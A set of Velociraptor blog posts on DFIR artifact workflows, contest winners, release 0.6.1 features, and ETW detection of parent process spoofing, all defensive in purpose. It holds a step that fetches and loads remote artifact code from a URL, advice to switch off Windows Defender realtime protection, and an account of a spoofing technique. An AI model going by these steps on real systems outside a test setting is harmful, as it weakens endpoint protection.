artifacts are heavily dependent of path specifications which makes them somewhat brittle and prone to missing filesystem targets which are not in the conventional locations. This also means that the current artifacts are mainly suited to the use case of “online” data due to the the heavy reliance on path specifications. Thus many Velociraptor artifacts (without modification) are usable only on “live/online” endpoints and will not work against “offline” data, for example data which has been collected through disk imaging or other collection methods.

Goals

The first goal of this demonstration is to show that Velociraptor artifacts can implement client-server-client workflow automation, with decision logic being driven by the server-side in order to achieve a more dynamic/flexible and modular system of DFIR data collection. This also shows that Velociraptor can support reasonably complex workflows implemented using only VQL, rather than having to implement decision logic in an external application that interfaces via the Velociraptor API. In a nutshell: client artifacts and server artifacts can dance together. Client artifacts don’t have to do all the heavy lifting on their own. Server Monitoring artifacts are essentially server-based services that are an underutilized yet powerful component of Velociraptor.
The 2nd goal here is to demonstrate an approach that uses more concise and reusable Velociraptor artifacts. This is accomplished in 3 ways:

a. by creating artifacts that each do a very specific thing, i.e. functional simplification which also increases reusability.

b. by shifting some processing logic to the server side. In this way the processing logic can be spread across multiple artifacts.

c. through use of Velociraptor features in the artifact definition and in the VQL plugins set which directly facilitate code reuse, mainly these ones:

the Artifact() plugin

This allows Velociraptor artifacts to call other artifacts… which can then call other artifacts… and so on. With some careful planning this allows us to construct artifacts with branching logic to other (reusable) artifacts. This plugin also allows us to call a series of artifacts from one parent artifact, and perhaps have several layers of artifacts below the child artifact. This arrangement of logically related artifacts can amount to a sort of “playbook” where artifacts are invoked automatically rather than being run independently and manually.

Recently it became possible to use preconditions in artifacts that are called by other artifacts. This allows us to have artifacts that can adapt themselves to their environment or the data. In this demo we use that approach to have unified triage artifacts that will run equally well on Windows, Mac and Linux.

export/imports

This relatively new feature allows artifacts to share blocks of code, including VQL, with other artifacts. Some of the current bundled artifacts are overloaded with huge reference lists and signature definitions. Artifacts such as these could benefit by having their weighty reference components allocated to dedicated artifacts which don’t have any VQL queries. These artifacts would then significantly cut down the size of some existing artifacts and again it is something that facilitates code-sharing across artifacts.

The 3rd goal is to demonstrate that artifacts can be easily created to support multiple platforms, as mentioned above. Although this demonstration targets Windows files it does not require that the processing be done on a Windows system. That means that it can also be used for “offline” processing of Windows files collected via external mechanisms (for example Kroll’s KAPE collection tool or disk images).
The 4th goal is to demonstrate a setup artifact that loads artifacts, tools and server monitoring tasks in 2 easy steps.
The 5th goal is to show that RawSec GENE is an excellent evtx triaging/analysis tool. I hope that more DFIR people start using it and support the tool’s author, Quentin Jerome, who has put years into it’s development and it’s sibling open-source DFIR tools that are very much under-appreciated.

The sixth goal is demonstrating how the Velociraptor starl() function allows us to instantly add functionality to VQL. This amazing capability was contributed by Velociraptor community member Clay Norris.

What we want Velociraptor to do

Locate evtx and exe files on the client based on file magic (“magic bytes”) using Yara rather than using explicit file paths or file name
- Artifact: Custom.Client.FindByMagics
Have the Velociraptor server create a client-side flow to run GENE analysis against each evtx file.
Have the Velociraptor server create a client-side flow to run CAPA analysis against each executable (pe32) file.
- Artifact: Custom.Server.DispatchTriage
- Artifact: Custom.Client.TriageGene
- Artifact: Custom.Client.TriageCapa
Have the server interpret the results and create more client-side flows to do something else in response to the triaging artifacts’ results. Perhaps upload these specific files back to the server to preserve evidence contained in them.
- Artifact: Custom.Server.DispatchUpload
- Artifact: Custom.Client.TriageUpload
Bonus points: Hijacking the VFS browser “upload” function to allow us to kick off the above workflow from the VFS browser. 🤠
- Artifact: System.VFS.DownloadFile

In a nutshell: We want to run a single artifact and then let Velociraptor decide what the next steps should be… and then iterate that process.

Although this is a simplified and somewhat contrived example, it aims to demonstrate concepts rather than being a comprehensive real-world solution. It provides an example that can be expanded upon and repurposed quite easily.

Step 0: Follow along on your own Velociraptor

Artifact: Temp.Setup.Demo

You can try this all on your own Velociraptor. You don’t have to do this but you might like to see it in action on your own server. It’s probably not best to do this on a production server, so if you don’t have a test server you can instantly set one up by running a local-mode Velociraptor (which is both the server and client) with the following command:

    velociraptor-v0.6.1-windows-amd64.exe gui

Please use the latest version: 0.6.1

There are a few simple steps to get the artifacts and tools set up on your server:

First step is to add the demo setup artifact — Temp.Setup.Demo - to your server’s artifact repository. To do that run this VQL in a Velociraptor notebook:

SELECT artifact_set(prefix="Temp.", definition=Content) AS LoadResponse FROM http_client(url="https://raw.githubusercontent.com/predictiple/VelociraptorCompetition/main/artifacts/Temp.Setup.Demo.yaml")

The result should looks something like this:

Then run the demo artifact which will:
- install the other artifacts
- download the tools to your server’s inventory, and
- load the server monitoring artifacts.

Run this VQL this in a Velociraptor notebook to run the artifact (be aware that this one may take a minute or two because it downloads the tool binaries to your server):

SELECT * from Artifact.Temp.Setup.Demo()

The result should looks something like this (and the red text does not mean anything went wrong — it’s just logging information… in red 🤷):

After it completes you can check that all the tools are loaded into the inventory by running this VQL query in a notebook:

SELECT * FROM inventory() WHERE name =~ 'gene' OR name =~ 'capa'

The tools in this repo are all the latest release versions from the author’s repositories. I have just unzipped and renamed them for convenience, but they can be downloaded from the original repos if you’re paranoid:

GENE binaries: https://github.com/0xrawsec/gene
GENE rules: https://github.com/0xrawsec/gene-rules/blob/master/compiled.gen
CAPA binaries: https://github.com/fireeye/capa

For testing purposes you can also download some evtx files from here which contain events from simulated malicious activity.

Now we’re ready to go! Поехали!

Step 1: Locate interesting files based on file magics (using Yara)

Artifact: Custom.Client.FindByMagics

Our first adventure is locating files of interest without explicitly telling Velociraptor their locations or file names.

Sure we know that evtx files are supposed to all be in C:\Windows\System32\winevt\logs, but imagine a scenario that a server admin may have diligently saved some evtx files to his desktop while troubleshooting some unrelated issue 2 weeks ago, long before anyone even suspected that the server was compromised. Upon investigating you find that the server’s logs retain only about 2 days worth of events, making those saved logs on the admin’s desktop extremely valuable! Of course you wouldn’t know that the admin fortuitously did that and he may not know that there’s a security incident going on or that you even exist! So finding evidence in unexpected places can be pretty important. In this hypothetical scenario we could find these unexpected files using the fact that Windows evtx files have a known file magic: ElfFile. Such file magics (signatures) can easily be identified using Velociraptor’s built-in Yara plugin and we’ll use that fact in this demonstration.

For other files where the file magic is insufficient to identify the exact type of data — for example text logs which are all text and don’t have any file magic (although there are indirect ways to solve that problem) — we can do a deeper dive into the file content using additional Yara scans as another layer in the identification process, and thus resolve ambiguous file types into specific data types. In this way we can resolve more than just basic file magics: we can extend the concept to a more precise level of resolution which we can call “data types”. For example, we can disambiguate text logs into the specific data types of “Apache access log” vs. “Apache error log” vs. “Windows Defender log” using deeper levels of inspection. And we can do this without needing to know their file paths or file names! Awesome!

But for the purpose of keeping this demonstration as concise as possible we will only be dealing with evtx and exe files which are reliably and unambiguously identifiable using just file magics. Extending the identification to data types is an exercise left to the reader 😃 (and yes, this could also be done quite well with Velociraptor’s amazing parse_binary function)

In addition to freeing us up from the annoying dependency on path specifications, this approach also allows us to target files that have had their file extension changed or removed. As mentioned previously, having our targeting done independent of file paths and/or file names allows us to deal with the “offline data” use case more easily. And as a bonus it also makes things relatively platform-independent.

More fancy filtering could be implemented but we’re trying to keep it simple. The goal of this artifact is to identify relevant files and report back with their path. Subsequent artifacts could apply additional targeting logic based on things like timestamps or file content for example. In this case we are going to do more in-depth analysis with GENE and CAPA and use these tools to identify a subset of files that are more significant than the rest.

We have embedded the 2 Yara rules inside the artifact parameters, however if we needed to use a more extensive list of Yara rules then would be impractical to put them inside the artifact definition. In that situation there are several alternatives:

store the rules in a separate file that could be added to the Velociraptor tool inventory and treated as a non-executable tool.
host a rules file on a web server and retrieve it on the client using the http_client() function.
store the rules in a dedicated artifact and export it using the export/imports feature. This approach apparently doesn’t work when the exports section is in an artifact which is being called from another artifact using the Artifacts plugin, so it would not work if we called Custom.Client.FindByMagics from System.VFS.DownloadFile via the VFS browser GUI. I should probably log an issue about that… (note: this is fixed in #1299, so it will be possible to do it this way starting from v0.6.2) Anyway for that reason we have just kept it simple and embedded the 2 rules as an artifact parameter.

Step 2: Have Velociraptor server decide what the client should do next

Artifact: `Custom.Server.DispatchTriage`

The purpose of this artifact is to pair the files found by the FindByMagics artifact with the appropriate next step, i.e. the next artifact that needs to take action on the file. It’s essentially a patchboard between incoming file magic types and outgoing Velociraptor artifacts.

This artifact runs as a server-side monitoring artifact and listens for flow completions of our FindByMagics artifact. It retrieves the monitored artifact’s results and pairs each result with a follow-up artifact. It then dispatches the follow-up artifact to the client using the client_collect() VQL function. To avoid dispatching a new client flow for every input file it compiles the list of target files into a list (for each type and accessor) and then dispatches a single artifact and passes the list and accessor to the artifact.

In order to achieve deduplication of the list of targets we have used Velociraptor’s starl() function which allows us to define a simple deduplicate function using Python code:

Starlark is a dialect of Python. We’ve used it here because Velociraptor doesn’t currently have a function to deduplicate a list of values. So we’ve just given VQL a new capability, and it’s very cool to be able to that “on the fly” through the starl() function.

To make things configurable we have used artifact parameters for the list of monitored artifacts as well as for the item-level input->output pairing (“Response Mapping”). So you can add or remove monitored artifacts very easily without changing the artifact’s code.

You can also set up your own mappings of file magics -> response artifacts. One MagidID value can map to more than 1 dispatched artifact (one-to-many), so it is possible to have 2 or more types of analysis (via their own independent artifacts) run in response to a particular file type being identified. It’s also possible to have multiple MagicID values map to the same dispatched artifact (many-to-one), for example if the dispatched artifact performed some format-independent function such as uploading the target files to the server.

Step 3: Send new orders to the client

Artifact: `Custom.Client.TriageGene`

Artifact: `Custom.Client.TriageCapa`

These artifacts are probably not as good as they could be, but their main purpose is to illustrate that more in-depth analysis can be scheduled on a client based on the results of a previously run artifact. This process can be iterative and involve branching logic.

The key things to notice about these artifacts are:

They are multi-platform. So they can be run on the 3 main operating systems without OS-specific targeting. They can also work on “offline” data, where files from 1 operating system are being processed on a different operating system.
The tool definitions (“tools” section of the artifact) are as simple as possible because we’ve already defined and initialised (incl. downloading) the tools during the setup process. The tool definitions here are just to ensure that these tools are available to this artifact.
We don’t mess around with fancy-pants unzipping of tools in our artifact. Several of the Velociraptor-bundled artifacts download zipped tools from GitHub and then unzip them on the client. This is done for user-convenience but it creates unnecessary complexity in the artifact, plus we really shouldn’t be using tools in zips that have been pulled straight from GitHub. It’s better to download the tools, unzip the tools, test/validate the tools, and then store them in your Velociraptor’s inventory. This approach also means that your endpoints don’t need access to GitHub because all the tools will be pulled from the Velociraptor server.
We set the artifact parameters to “hidden” because we don’t intend these artifacts to be used standalone.
We give them a generous timeout because we could be targeting a large set of files that were previously collected and are now being analysed “offline”. Also Capa is written in Python and slow as molasses.

Windows Defender will probably prevent Capa from running. You may need to temporarily disable it’s realtime protection option or else add a realtime scanning exclusion for the folder your testing on.

Step 4: Have Velociraptor server decide what the client should do next

Artifact: `Custom.Server.DispatchUpload`

The triaging artifacts in the previous step have now looked at the target files in more depth and given some sort of risk-rating or assessment based on the information in (or about) each file.

Similarly to Step 2, the server can now collate that information and conditionally dispatch another artifact to the client. The artifact is almost identical to the one described in Step 2 other than for the fact that it’s now using criticality_score in the decision process instead of magic_id.

The client artifact we will dispatch here is Custom.Server.DispatchUpload, which is described in the next step.

Step 5: Send new orders to the client

Artifact: `Custom.Client.TriageUpload`

This artifact is a simple one that just uploads the files identified by the previous steps as containing relevant information.

In other words, what we have accomplished is the preservation of evidence based on the actual evidence contained within the files themselves. This is a better approach than just uploading everything and then checking to see what the files contain.

Step X: Bonus points: Hijacking the VFS browser upload function

Artifact: System.VFS.DownloadFile

Under the hood Velociraptor itself uses many artifacts that contain VQL for performing various functions, including many of the functions exposed via the Velociraptor GUI. The VFS (Virtual File System) browser in the GUI has an associated artifact named System.VFS.DownloadFile (https://github.com/Velocidex/velociraptor/blob/54d878fd57a9250b44965429750a4d20e7850b3e/artifacts/definitions/System/VFS/DownloadFile.yaml)

This artifact provides 2 functions which are invoked by 2 buttons in the VFS GUI:

“download_one_file”
“download_recursive”

We would like to be able to browse around on the client machine and when we find an interesting folder we want to be able to click a button and let Velociraptor do the rest! To do that we are going to have to hijack one of those buttons. The “Download Recursive” button and corresponding VQL artifact’s function seems to be the best match for our purposes since we want to target a folder and do stuff recursively with the files in that folder.

It sucks that we need to hijack a built-in “system” artifact to do this, and we feel really bad about doing it (well not really), but at present there are no “custom function” buttons available in the VFS browser GUI. So for now we do this with full knowledge that it is frowned upon and that we are subverting functionality which may be needed for other purposes.

In the System.VFS.DownloadFile artifact we’ve replaced the download_recursive function with our own one that runs our Custom.Client.FindByMagics artifact and pass the parameters Path and Accessor to it. With that minimal information the FindByMagics artifact can begin it’s work. Thus we have replaced the native function and by extension we have hijacked the “Download Recursive” button in the VFS browser. Neat!

We also added the 1-hour timeout into the artifact so that it’s behaviour is consistent with the timeout of the Custom.Client.FindByMagics artifact. Finding files can take a long time, so this is just to avoid frustrating timeouts - however it should rarely take anything as long as an hour.

Let’s see it all in action!

Starting from the Custom.Client.FindByMagics artifact:

Starting from the VFS browser:

(p.s. sorry my gif recording software caught some jitter)

Conclusion

So what we have here is a set of artifacts that work together to implement a simple workflow. We run a single artifact and all we give it is a filesystem path where it should start looking for stuff. With the VFS browser hack we can even simplify that a bit more and reduce it to just browsing around and clicking a button. We can even browse around the Volume Shadow Copies and target these and other sneaky hidden files. Velociraptor then finds relevant stuff and decides what to do with that stuff.

Although this is a simplified example the concepts can be applied to much more creative artifacts in order to produce quite complex workflows. We hope you’ll find this useful and apply your own creativity in creating cleverer workflows that do super-awesome things!

Have fun guys!!!

What do you think of Justin’s submission? Drop your comments, thoughts and questions into the Discord server or by tweeting @velocidex and keep the conversation going!

The 2021 Contributor Contest

Tue, 12 Oct 2021 00:00:00 +0000

The 2021 Velociraptor Contributor Competition has drawn to a close and this year we have received 6 excellent submissions. Each submission pushes the state of the art in DFIR and enhances Velociraptor’s capabilities. Without our wonderful Community an open source project such as Velociraptor would not be nearly as capable.

And the winners are…

We are thrilled to announce the winners of the Competition! Each of these submissions separated itself from the pack by earning the top combined ratings in five key selection criteria:

Usefulness, Creativity, Effort/Difficulty, Completeness of Solution and Clarity of Documentation

Without further ado, the winners are…

Grand Prize ($5,000 USD) - Justin Welgemoed
Second Place ($3,000 USD) - Eduardo Cunha Mattos
Third Place ($2,000 USD) - Josh Brower

Congratulations to all three winners! We’ll be reaching out soon with details on how to claim your prizes. The Velociraptor team would also like to sincerely thank all the judges for their valuable time and effort in evaluating the submissions. A great big shoutout and thanks to all our Community members who submitted entries as well.

You can still view our award presentation at the SANS Threat Hunting Summit by registering to view a replay of the summit here. But until then, take a look at all the submissions below and evaluate them yourself.

Be sure to follow us on Twitter @velocidex, join our Discord server, sign up for our mailing list and regularly check out this blog for details on upcoming Velociraptor events. We have some exciting things planned for the rest of 2021, into 2022 and beyond!

Justin Welgemoed

This submission demonstrates how Velociraptor can be used to automate collection, analysis and post processing using a combination of client and server artifacts. Justin has also re-purposed the GUI to automate further processing of files by signature identification using tools such as GENE and CAPA for further triaging.

References:

https://github.com/predictiple/VelociraptorCompetition.git

Shae Bailey

Shae contributed a number of artifacts to enhance Cobalt strike detection and utilize ETW for real time monitoring.

References:

https://drive.google.com/drive/folders/1Jr4CJO6y2VZVNl7vRSiuAs8Ys7IDmVub?usp=sharing

Eduardo Cunha Mattos

Eduardo contributed many useful artifacts including a number of MacOS artifacts

Some highlights include

Loki integration
Enriched hollows hunter
Registry UsrClass
JECmd integration

References

https://github.com/eduardomcm/VelociraptorCompetition

Jonathan Woodward

Jonathan contributed many MacOS artifacts focusing on acquisition of critical files for DFIR triaging.

References

https://drive.google.com/drive/folders/1cmmoOkP5tWD9skIAU5ClWRG_uagzUYVO?usp=sharing

Josh Brower

Josh wrote VQL artifacts that uses a sysmon configuration as a source to filter out known-good processes when running pslist() across Windows endpoints.

References

Context & Overview video: https://www.screencast.com/t/iLw4f2jL0FPu

Code: https://gist.github.com/defensivedepth/09a6c91a593bdc62b63f2d40b1bc2f84

Daniel Kelly

Daniel contributed a large number of useful artifacts providing collection capabilities for Windows and Linux focused around initial triage.

References

https://drive.google.com/drive/folders/1Q3b4b1NN_xo5_2ak1-INn8l5kIBbfNZ2?usp=sharing

Welcome to Velociraptor, Carlos

Fri, 17 Sep 2021 00:00:00 +0000

Hello Velociraptor Community!

My name is Carlos Canto and I have recently joined Rapid7 as the Community Engagement Manager for Velociraptor. You may be wondering what that means. In a nutshell, my job will be to increase awareness of the Velociraptor project and increase engagement among its users and contributors. Expect to hear from me a lot in the coming weeks as I begin to get my feet wet in all things DFIR. That includes blog posts, emails, social media content and other special events. Our very own digital paleontologist, Mike Cohen, will continue to provide his regular updates and insight as well. In short, we want to make the Velociraptor Community an engaging and rewarding place for everyone involved, but that means we’ll need participation from YOU as well.

You may be wondering what my deal is. So a little bit about me… I have over 10 years experience managing communities of various forms including those in several fields such as investor services, software & hardware testing, and crowdsourcing. I’ve met a lot of great people and have learned a ton along the way, so I hope to bring as much of that experience as I possibly can to this role as well.

But what makes Carlos tick? Well, when I’m not engaging with our amazing VR contributors, you can usually find me at home spending time with my family. I’ve had the honor of being married to my lovely wife for the last 13 years and we’ve been blessed with two amazing children. They keep me busy, that’s for sure, but I wouldn’t trade it away for anything in the world. When I have some free time you can usually find me doing one of the following: watching football, drinking craft beer, mountain biking and playing video games with my kids, not necessarily in that order.

Enough about me. What I really want is to hear from YOU! Remember, this Community doesn’t thrive without active participation from all our contributors. Make your voice heard! Participate in the comments section of the blog. If a particular article or post really speaks to you, let us know what you think. If you haven’t already, follow us on Twitter (@velocidex). Let us know what’s working, what’s not. Share your cool, if only half-baked thoughts – those sometimes end up being the best kind. We’ll be creating official LinkedIn and Facebook pages as well (details to come).

Finally, don’t ever hesitate to reach out to me and let me know what’s on your mind. I can be reached at carlos_canto@rapid7.com or by tweeting @velocidex. Additionally, if you have any support or technical questions, you can email velociraptor-discuss@googlegroups.com and we’ll aim to get back to you ASAP.

I can’t wait to begin working with all of you!

Keep digging! Carlos

Velociraptor 0.6.1 Release

Mon, 06 Sep 2021 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.1. This release has been in the making for a few months now and has a lot of new features. I wanted to take some time to tell you all about it in our blog so I can show some of the new screenshots in more detail.

GUI Visible changes

Most Recently Used

One of my favorite new features is the new Most Recently Used (MRU) list in the GUI. Typically, a Velociraptor deployment may contain many thousands of clients, but an investigator typically only interacts with a few relevant hosts. While you could always search for the hosts you are interested in, Velociraptor now keeps a most recently used list in each user’s profile, making it easy to go back to a host under investigation.

Most recently used clients

You don’t have to do anything to get hosts added to the MRU list, simply search for them normally and select the client to interact with. The MRU list is sorted in most recent order so it should always contain relevant hosts.

Although it might appear by the search term, that you can view other user’s most recently used list this is not the case - each user has their own list of hosts. The username after the recent: is currently ignored.

Free disk space

Many users asked to be able to see the free disk space available in the dashboard. This is useful to keep an eye during investigations. If the disk fills up during a large hunt, the client connections will fail to upload data. Since Velociraptor does not know which specific filesystem contains your file store, it just shows the total disk space in all mounted filesystems.

Free disk space

Quarantine hosts

Velociraptor allows users to quarantine hosts using the Windows.Remediation.Quarantine artifact. This artifact updates the client’s firewall rules so it can only communicate with the Velociraptor server, and some limited exceptions. When a host is quarantined, no network connections are successful, but the investigator can still communicate with the host using Velociraptor.

This feature is useful in cases when time is of the essence and it made sense to expose the feature right in the GUI. From the host overview screen, simply click “Quarantine this host”:

Host overview page

You may also add a message for the logged in user

Quarantine a host

At this point the machine is quarantined. It gains a label of Quarantine which indicates to the system that the client is quarantined.

A host is quarantined

Velociraptor uses labels to place host into Label Groups. This is used to control the types of monitoring artifacts that are running on the client. It is actually the Quarantine label that makes the host quarantine itself because the Windows.Remediation.QuarantineMonitor artifact is assigned to the Quarantine label group.

The host will continuously check that it is quarantined as long as the label is set. This means the quarantine status also survives a reboot!

To remove the host from the Quarantine group, simply remove the label or click the “Unquarantine Host” button. This will immediately release the host from the quarantine.

Notebook full screen

Velociraptor Notebooks have always been the best way for running and exploring VQL queries. The notebooks are a collaborative shared document, allowing a group of investigators to share their work and analysis.

The new full screen mode allows an uninterrupted view of the notebook as a shared document. Other GUI elements are hidden and the notebook takes on full screen.

Switch to full screen notebook

You can switch back from full screen mode by simply clicking the button.

Full screen notebook

Note that the URL contains the full screen mode so you can share a notebook URL with your team already in full screen.

Favorite collections

If you are like me and often use the same combination of artifacts with similar parameters, but are just too lazy to create a custom artifact that combines them all, you might enjoy the latest Favorite feature. Simply click the Save Favorite button when a collection is selected.

Saving a favorite collection

This will save the specific combination of artifacts to collect as well as their parameters used in the previous collection under a name.

Saving a favorite collection

Now when we create a new collection, we can retrieve the favorite collection by name

Retrieving a favorite collection

Favorites are currently stored in the GUI user’s profiles so each user can maintain their own list of favorites. However you can save a favorite into your own profile using the favorite_save VQL function, so a team may create a set of common favorites using a SERVER VQL artifact.

Event Monitoring tables

Velociraptor’s CLIENT_EVENT artifacts run an event query on the client and stream the results back to the server. This can be used to create sophisticated monitoring rules on the endpoint.

In the latest release these events are now indexed by time which allows for a much more flexible UI experience.

You can view the results from the client’s monitoring artifacts by clicking the Client Events screen and selecting the specific event artifact you want to see.

Client Event Monitoring view

The view is split into two halves. The top half is the timeline view while the bottom half is the table view. The events can be viewed in the table, while the timeline view provides a quick way to navigate different time ranges.

You can see the timeline view is split into three rows:

Table View visualizes the time range visible in the table currently.
Available shows the days which have any events in them.
Logs visualizes the days that have any logs in them (You can view query logs by selecting the Logs pull down on the top right).

In order to keep the table brief the timestamps are abbreviated - you can hover the mouse over those to get the full timestamp. Usually the exact timestamp in the table is not important as we can see a visualization of the time range in the timeline above.

You can zoom in and out of the visible time ranges using Ctrl-Mouse Wheel or by clicking the timeline itself.

Interacting with the timeline

By clicking the tool bar it is possible to page through the table to view visible events. If you need to export the data, simply click the Export button and select either JSON or CSV format. The export functionality applies to the visible time range so you can finely tune which events should be exported (simply zoom the visible range in or out).

Timelines

One of the most exciting new features in 0.6.1 is the new built in timeline functionality. What is a timeline? It is a way to visualize time based rows from multiple sources. The main concepts to understand are the Super Timeline and the Timeline.

A super timeline is a grouping of several timelines together (you can see them on the same timeline, turn each on or off etc). You can add child timelines to a super-timeline to be able to compare them together by seeing their separate events together.

A timeline is just a series of rows keyed on a time column - the rows can be anything at all, as long as a single column is specified as the time column and it is sorted by time order.

It is even possible (and necessary) to add the same rows multiple times to each super timeline, each time having a different key column.

Adding timelines

The first step is to view a table in a notebook - any table generated using any query. In the example below, I collected the MFT then post processed it by filtering it. Once I can see a table with some results in it, I can add the table to the super timeline.

In this example I just collected the MFT from the client. The full MFT has about 380k rows, but in practice I might be able to filter it down by date range or file type so the total size of the table is not too large.

Post Processing results from a collection

Next I can add the table to the Super Timeline by generating a timeline from it. I simply click the timeline icon at the tool bar of each table. Velociraptor will then present the timeline dialog.

Importing a table into the timeline

When adding a timeline to a super timeline, I need to specify the Supertimeline’s name (If there is no super timeline yet, I can create a new one). Then I can specify the child timeline’s name and a time column to use as the index.

Adding timeline details

In this case I will add the Created times from the MFT to the timeline MFT Analysis. Velociraptor will sort the table on the Created Time and will add the timeline to the super timeline.

Since I do not have a Super Timeline yet, I can create a new one by starting to type in the box. Later I can add other timelines from any tables to the same supertimeline.

Viewing timelines

Once this is done, nothing appears to have happened! But really the supertimeline is added to the notebook. We just need to view it.

Timelines are simply rendered through special markdown syntax. I can just add a new cell with the timeline in it.

Adding a timeline cell to the notebook

Choose which timeline to add.

Selecting the supertimeline name

And we get to see the super timeline (which currently has only one timeline). It is actually a bit easier to see with full screen so I recommend to switch to that now.

Inspecting timelines

The cell is divided into two: At the top we see the timeline - it has a bar for each child timeline added as well as the top bar representing the visible range of the table.

Inspecting a timeline in the notebook

Below the timeline we see the table of all the events from all timelines intermixed. The table has two columns, on the left is the event time, while on the right are all the other fields of the original table row. You can expand and contract each row to see more data. Note that the columns we see here are actually the same columns in the original table that was added to the timeline, so we can always tweak the original table VQL to only present the columns we care about and make sure it is not too crowded here.

You can zoom the time in and out by clicking the year or month headers, but I find it easier to just Ctrl-Mouse Scroll.

Table View time range is visualized on the timeline

You can either step through the table using the regular next/previous buttons or you can click on any time you like.

Inspecting the timeline

When you add other timelines to the same Super-timeline you will see the events in order on the same table rendered with different colors. You can turn a child timeline on or off by unchecking the name of the child timeline within the timeline view.

VQL Changes

In this release there are many improvements to the VQL language including new plugins, functions and enhanced capability. Let’s talk about some of the interesting changes.

Starlark is now available in VQL

VQL has always been more of a glue language - connecting the results of multiple plugins, filtering and some basic manipulation of the results. Although VQL is getting more powerful all the time, sometimes it is just easier to do more complicated operations in a more traditional language, such as Python.

Starlark is a mini-python interpreter that can be embedded into Go programs. Velociraptor now features a starlark interpreter built in! This is useful when you need to perform more intricate functional style of programming.

Here is a very simple example

LET StarCode = starl(code='''
def Foo(x):
   return x + 2
''')

SELECT StarCode.Foo(x=2)
FROM scope()

The first statement defines a Starlark module by simply calling the starl() function on some python code. The starl() function compiles the code into a module. VQL queries can then access code within the Starlark module by just calling is as normal. This is most helpful when we need to do specific manipulation of strings, numbers etc.

Functions that manipulate endpoint state

When we first designed Velociraptor we wanted it to be a read only, forensic system. However, as people use Velociraptor more and more for Response we realized that the R in DFIR requires the tool to actively change the endpoint! Whether it is to uninstall malware, correct a vulnerability, or cut off access to a compromised system, we needed the ability to change settings on the endpoint.

That is why the latest release introduces a number of new VQL functions, such as rm, reg_set_value,reg_rm_value and reg_rm_key that allow VQL queries to modify the registry or files.

Server side VQL functions

On the server, Velociraptor now has the user_delete() and user_create() to manipulate GUI users. This allows for VQL to automate initial server provisioning by adding the right users to a new server.

We also have the ability to enrich IP addresses via the geoip() VQL function. This function allows using a MaxMind database to resolve IP addresses to location.

Notable artifacts

Carving Cobalt Strike configurations from memory

The Windows.Carving.CobaltStrike artifact can now carve and decode the CobaltStrike configuration from memory. This is very helpful to identify the C&C and other configuration parameters encoded within the configuration.

Uncovering Cobalt Strike Config from memory

Other changes

Client index rewrite

The client index is used in Velociraptor to quickly search for clients in the GUI. Previously this was implemented in a way that proved very inefficient on network volumes like EFS. The index has been upgraded in 0.6.1 to a more performant structure.

The index will be converted to the new format when the latest 0.6.1 Velociraptor is started for the first time. On EFS volume conversion might take a while (several hours) due to the underlying slow filesystem. Once this conversion is complete it need not be done again.

The new index performs well above 20k clients on EFS (Previously only SSD was usable at these numbers).

If you liked the new features, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

There is still time to submit it to this year’s 2021 Velociraptor Contributor Competition, where you can win prizes, honor and support the entire DFIR community. Alternatively, you can share your artifacts with the community on Velociraptor’s Artifact Exchange.

ETW Part 2: Process Parent Spoofing

Fri, 03 Sep 2021 00:00:00 +0000

Process Parent Spoofing

A lot of the current state of the art detection techniques rely on process creation logs, and their implied parent/child relationships. For example, many detection rules alert when Powershell is launched from WinWord.exe as it typically indicates a macro has started a powershell payload.

Many people are sometimes surprised to learn that on Windows parent/child process relationship is not particularly reliable. Back in 2009, Didier Stevens released a demo tool called SelectMyParent demonstrating a quirk of the Windows CreateProcess API that allows any caller to simply spoof the parent process ID. This is particularly troublesome, especially when so much of the DFIR industry relies on process tracing of parent/child call chain. Further, parent spoofing does not require any special privileges and can be performed by non-admin users as well.

Didier Stevens wrote about it again in 2017’s post That Is Not My Child Process! where even Sysmon and Volatility memory analysis are demonstrated to be fooled by SelectMyParent!

If you thought this was an unknown technique, rest assured that most attack tools integrate parent process spoofing already. For example Cobalt Strike has been able to do this for a number of years now, and the technique is actively used frequently to avoid behavioural detection.

How can one detect this kind of spoofing? I found it surprising that there are no indicators that a process has been spoofed that can be gathered from an already running process (If you know of any, please let me know!). As Didier Stevens shows in his 2017 post above, even memory analysis can not reveal the real parent of a process.

The only way to learn that a process parent has been spoofed is using ETW, as outlined in the F-Secure post Detecting Parent PID Spoofing. Let’s play with this detection and see how effective it is.

Spoofing Parent processes

I will use Didier’s tool SelectMyParent to spoof notepad.exe as being a child of OneDrive.exe. First I use the task manager to find the Process ID of OneDrive and then start notepad with this as the parent.

On this system I have Sysmon installed, so I will find the process creation event in the event viewer.

Sysmon event log ID 1 of spoofed process

It shows the parent process of notepad is OneDrive.exe!

Let’s write a VQL query to detect this spoofing. According to the post above, the provider to watch is the Microsoft-Windows-Kernel-Process provider which has a GUID of {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}. Since the provider emits a lot of information about all processes in the system, I will initially narrow down event to only those that have notepad somewhere in the event data.

SELECT *
FROM watch_etw(guid="{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}")
WHERE serialize(item=EventData) =~ "notepad"

VQL query that detects the spoofed process

In the above query we can see the anomaly immediately! The process that generated the EWT event is not the same as the process parent pid!

This anomaly allows us to detect the spoofing behavior, now we just need to enrich the event with extra detail of the real parent, the spoofed parent etc. You can find the full VQL artifact on the Velociraptor Artifact Exchange here

Searching the Artifact Exchange

To add this artifact, I will navigate to the View Artifacts screen, then click Add an Artifact button, then copy and paste the Artifact definition from the exchange into the editor.

Adding the custom artifact

Now I will add this artifact to all client’s monitoring configuration. I click the Event Monitoring screen in the GUI then the Update client monitoring table button.

Targeting all clients for monitoring

To add the new artifact to the client’s monitoring table I will select it in the next step.

Selecting the artifact to monitor

As soon as the monitor table is updated, all clients will refresh their configuration and start monitoring for spoofing. We can see this by viewing the query logs in the event viewer GUI

Viewing query logs for monitoring artifacts

We can clearly see the client is installing some ETW sessions to monitor the provider. We also see a message every few minutes to remind us that the client is still monitoring for events. When an event is detected, the client immediately forwards the event to the server.

We can repeat our experiment and see the event generated by selecting the Raw Data view in the GUI.

Viewing hits on the server

Again we see the events in the timeline, but this time the row contains all the enriched information, like the real identity of the parent process!

False Positives

After having this rule running for while you might notice some false positives - legitimate cases of parent process spoofing include the UAC prompt.

False Positive of parent process spoofing

When elevating a command to “run as admin” the UAC prompt shows. Once the prompt is approved, the UAC manager launches the target program and spoofs the parent process.

